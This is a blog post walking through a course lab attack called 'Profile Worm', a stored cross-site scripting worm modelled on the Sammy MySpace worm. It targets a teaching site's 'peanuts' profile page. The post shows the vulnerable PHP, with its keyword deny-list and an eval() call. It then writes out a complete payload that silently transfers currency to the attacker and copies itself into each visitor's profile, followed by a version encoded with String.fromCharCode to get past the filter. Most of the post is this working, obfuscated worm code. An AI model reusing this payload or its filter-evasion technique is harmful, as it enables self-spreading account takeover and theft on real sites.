Advertisements
Home > Information Technology, programming, Security > Attack D: Profile Worm

Attack D: Profile Worm

In this attack, we are to manipulate a malicious profile to behave whenever a user visits the attacker profile, he will transfer 1 peanut to the attacker account. This attack is actually inspired by Sammy Worm used in MySpace. Now, let’s get cracking.

1. Study the form

Again, for simplicity I will give you the source code of the profile form which used for updating profile. Here is the code of users.php:

<?
 $sql = "SELECT Profile, Username, Peanuts FROM Person " .
    "WHERE Username='$selecteduser'";
 $rs = $db->executeQuery($sql);
 if ( $rs->next() ) { // Sanitize and display profile
  list($profile, $username, $peanuts) =
    $rs->getCurrentValues();
  echo "<div><b>Profile</b>";
  $allowed_tags =
  '<a><br><b><h1><h2><h3><h4><i><img><li><ol><p><strong><table>' .
  '<tr><td><th><u><ul><em><span>';
  $profile = strip_tags($profile, $allowed_tags);
  $disallowed =
  'javascript:|window|setTimeout|setInterval|target|'.
  'onAbort|onBlur|onChange|onClick|onDblClick|'.
  'onDragDrop|onError|onFocus|onKeyDown|onKeyPress|'.
  'onKeyUp|onLoad|onMouseDown|onMouseMove|onMouseOut|'.
  'onMouseOver|onMouseUp|onMove|onReset|onResize|'.
  'onSelect|onSubmit|onUnload|document|XMLHttpRequest|iframe';
  $profile = preg_replace("/$disallowed/i", " ", $profile);
  echo "<p id=profile>$profile</p></div>";
 }
 else if($selecteduser) {  // user parameter present but user not found
  echo '<p id="baduser">Cannot find that user.</p>';
 }
 $peanuts = ($peanuts > 0) ? $peanuts : 0;
 echo "<span id='peanuts' class='$peanuts'/>";
 ?>
<script type="text/javascript">
 var total = eval(document.getElementById('peanuts').className);
 function showPeanuts(peanuts) {
  document.getElementById("profileheader").innerHTML =
  "<?php echo $selecteduser ?>'s peanuts:" + peanuts;
  if (peanuts < total) {
   setTimeout("showPeanuts(" + (peanuts + 1) + ")", 100);
  }
 }
 if (total > 0) showPeanuts(0);  // count up to total
</script>

Now if you see the code above, you will learn that everytime you update your profile, the PHP will search for any forbidden tags such as script and only allow tags like span, img, and so on. To make things harder, you are forbidden to do any dynamic HTML scipt such as XMLHttpRequest, onClick, document, and so on. We also are forbidden to execute javascript directly by banning javascript:. Furthermore, it seems quotes are escaped by the PHP using addslashes() function. Now, you would say, there is no hole so what can I do? Not so fast, let’s look on the script on the last line:

var total = eval(document.getElementById('peanuts').className);

Interesting, there is a script to get the peanut number in a class of a tag id peanuts. However, the most interesting part is the eval function.

2. Eval is evil

The fatal blow of this website is using eval() to evaluate integer instead of parseInt() as an alternative. The eval() function could interpret any javascript command when put anything to it. So, if you do eval(“alert()”), it will create a notification popup and the sick thing is you can do eval(“al”+”ert()”) and still come up with the same result. This will be the key ingredient of our attack so remember it well:

  • eval()
  • classname peanuts on an element tag (span)

3. Creating the malicious profile

Now, the only allowed tag that we can use that is useful would be either span or img tag. I’m going with span tag since I don’t have a picture and it’s a little bit stealthier. Now, construct a span tag with the id of peanuts and whatever the content it will be:

<span id=peanuts>
Just an ordinary profile!
</span>

Why we do this? It’s because there is a script that called a class name with the id of peanuts. Since when we saved our profile, our profile will be put first instead of the peanuts element, our span will be considered as the original one. Knowing this, you can put the class content as your javascript since the eval() function on the next line will execute the javascript code for you.

<span id=peanuts class="var d = document;
var js = d.getElementById('hackme').innerHTML;
var tag = d.createElement('script');
tag.setAttribute('type', 'text/javascript');
tag.innerHTML = js; d.body.appendChild(tag);>
Just an ordinary profile
</span>

This code will generate a script tag with the type of javascript in the website and the content will be whatever inside hackme tag which we will write shortly. Why do I this? Turns out that the strip_tags() function will strip any kind of tags that has over than 1024 characters in the tag but not in the content. That’s why we need another span tag to do our dirty work.

<span style="display:none;" id=hackme>
 var formEncode = function(args) {
  var output = '';
  for (var name in args) {
   if (output != '') {
    output += String.fromCharCode(38)
   }
   output += encodeURIComponent(name) +
             '=' + encodeURIComponent(args[name]);
  }
   return output;
 }
 var pay=new XMLHttpRequest();
 pay.open('POST', '/transfer.php',false);
 pay.setRequestHeader('Content-Type',
    'application/x-www-form-urlencoded');
 pay.send(formEncode({recipient:
    'attacker', peanuts: '1',
    submission: 'Send'}));
 var profile = document.getElementById('peanuts').
        parentNode.innerHTML.replace(/"/g,'').
        replace(': ',':');
 var copy=new XMLHttpRequest();
 copy.open('POST', '/index.php',false);
 copy.setRequestHeader('Content-Type',
    'application/x-www-form-urlencoded');
 copy.send(formEncode({profile_update: profile,
    profile_submit: 'Save'}));
</span>

This code uses two XMLHttpRequest() functions to:

  1. Transfer 1 peanut to the attacker via transfer.php
  2. Copy the user profile with the attacker user profile to further expand its attack via index.php (This is how Sammy got over 1,000,000 friend request in MySpace in less than a day)

The replace function in the profile there is just to avoid glitch since when I attempt my attack, the quotes always spawned up out of nowhere enclosing the class name. I also replace “: “ with “:” since the profile writes display: none when attempting to copy and I don’t want any space.

4. Circumventing the filter

Now you would say you can’t do this stuff since XMLHttpRequest(), document, quotes, are banned by the website. You are exactly correct and therefore we will need our final key ingridient to our attack, the String function. In Javascript, there is a function called String.fromCharCode() to convert Unicode character into ASCII character. For instance, &#38 represents an ampersand character (&) and so on. Therefore, we can bypass the filter by eliminating the banned character via String.fromCharCode() function. So, go find a nice ASCII to Unicode converting website and your code shall looked like this:

<span id=peanuts class=eval(String.fromCharCode(118,97,114,32,100,32,61,32,
100,111,99,117,109,101,110,116,59,32,118,97,114,32,106,115,32,61,
32,100,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,
40,39,104,97,99,107,109,101,39,41,46,105,110,110,101,114,72,84,
77,76,59,118,97,114,32,116,97,103,32,61,32,100,46,99,114,101,97,
116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,
39,41,59,32,116,97,103,46,115,101,116,65,116,116,114,105,98,117,
116,101,40,39,116,121,112,101,39,44,32,39,116,101,120,116,47,106,
97,118,97,115,99,114,105,112,116,39,41,59,32,116,97,103,46,105,110,
110,101,114,72,84,77,76,32,61,106,115,59,32,100,46,98,111,100,121,46,
97,112,112,101,110,100,67,104,105,108,100,40,116,97,103,41,59))>
Just an ordinary profile!
</span>
<span style=display:none; id=hackme>
eval(String.fromCharCode(118,97,114,32,102,111,114,109,69,110,99,
111,100,101,32,61,32,102,117,110,99,116,105,111,110,40,97,114,103,
115,41,32,123,10,118,97,114,32,111,117,116,112,117,116,32,61,32,39,
39,59,10,102,111,114,32,40,118,97,114,32,110,97,109,101,32,105,110,
32,97,114,103,115,41,32,123,10,105,102,32,40,111,117,116,112,117,
116,32,33,61,32,39,39,41,32,123,32,111,117,116,112,117,116,32,43,
61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,
111,100,101,40,51,56,41,32,125,10,111,117,116,112,117,116,32,43,61,
32,101,110,99,111,100,101,85,82,73,67,111,109,112,111,110,101,110,
116,40,110,97,109,101,41,32,43,32,39,61,39,32,43,32,101,110,99,111,
100,101,85,82,73,67,111,109,112,111,110,101,110,116,40,97,114,103,
115,91,110,97,109,101,93,41,59,10,125,10,114,101,116,117,114,110,32,
111,117,116,112,117,116,59,10,125,10,118,97,114,32,112,97,121,61,110,
101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,
59,10,112,97,121,46,111,112,101,110,40,39,80,79,83,84,39,44,32,39,104,
116,116,112,58,47,47,119,119,119,46,105,110,102,115,101,99,46,99,115,
46,117,110,105,45,115,97,97,114,108,97,110,100,46,100,101,47,116,101,
97,99,104,105,110,103,47,49,48,87,83,47,83,101,99,117,114,105,116,121,
47,109,97,116,101,114,105,97,108,47,112,114,111,106,101,99,116,115,47,
112,114,111,106,101,99,116,50,47,112,101,97,110,117,116,47,116,114,97,
110,115,102,101,114,46,112,104,112,39,41,59,10,112,97,121,46,115,101,
116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,39,67,111,110,
116,101,110,116,45,84,121,112,101,39,44,32,39,97,112,112,108,105,99,97,
116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,
101,110,99,111,100,101,100,39,41,59,10,112,97,121,46,115,101,110,100,40,
102,111,114,109,69,110,99,111,100,101,40,123,114,101,99,105,112,105,101,
110,116,58,32,39,97,116,116,97,99,107,101,114,39,44,32,112,101,97,110,117,
116,115,58,32,39,49,39,44,32,115,117,98,109,105,115,115,105,111,110,58,32,
39,83,101,110,100,39,125,41,41,59,10,118,97,114,32,112,114,111,102,105,108,
101,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,
101,110,116,66,121,73,100,40,39,112,101,97,110,117,116,115,39,41,46,112,97,
114,101,110,116,78,111,100,101,46,105,110,110,101,114,72,84,77,76,46,114,101,
112,108,97,99,101,40,47,92,34,47,103,44,39,39,41,46,114,101,112,108,97,99,101,
40,39,58,32,39,44,39,58,39,41,59,10,118,97,114,32,99,111,112,121,61,110,101,
119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,10,99,111,
112,121,46,111,112,101,110,40,39,80,79,83,84,39,44,32,39,104,116,116,112,58,
47,47,119,119,119,46,105,110,102,115,101,99,46,99,115,46,117,110,105,45,115,
97,97,114,108,97,110,100,46,100,101,47,116,101,97,99,104,105,110,103,47,49,
48,87,83,47,83,101,99,117,114,105,116,121,47,109,97,116,101,114,105,97,108,
47,112,114,111,106,101,99,116,115,47,112,114,111,106,101,99,116,50,47,112,
101,97,110,117,116,47,105,110,100,101,120,46,112,104,112,39,41,59,10,99,111,
112,121,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,
39,67,111,110,116,101,110,116,45,84,121,112,101,39,44,32,39,97,112,112,108,
105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,
114,108,101,110,99,111,100,101,100,39,41,59,10,99,111,112,121,46,115,101,
110,100,40,102,111,114,109,69,110,99,111,100,101,40,123,112,114,111,102,
105,108,101,95,117,112,100,97,116,101,58,32,112,114,111,102,105,108,101,
44,32,112,114,111,102,105,108,101,95,115,117,98,109,105,116,58,32,39,
83,97,118,101,39,125,41,41,59))
</span>

Problem solved!

Advertisements
  1. No comments yet.
  1. December 1, 2010 at 4:34 pm

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

w

Connecting to %s

%d bloggers like this: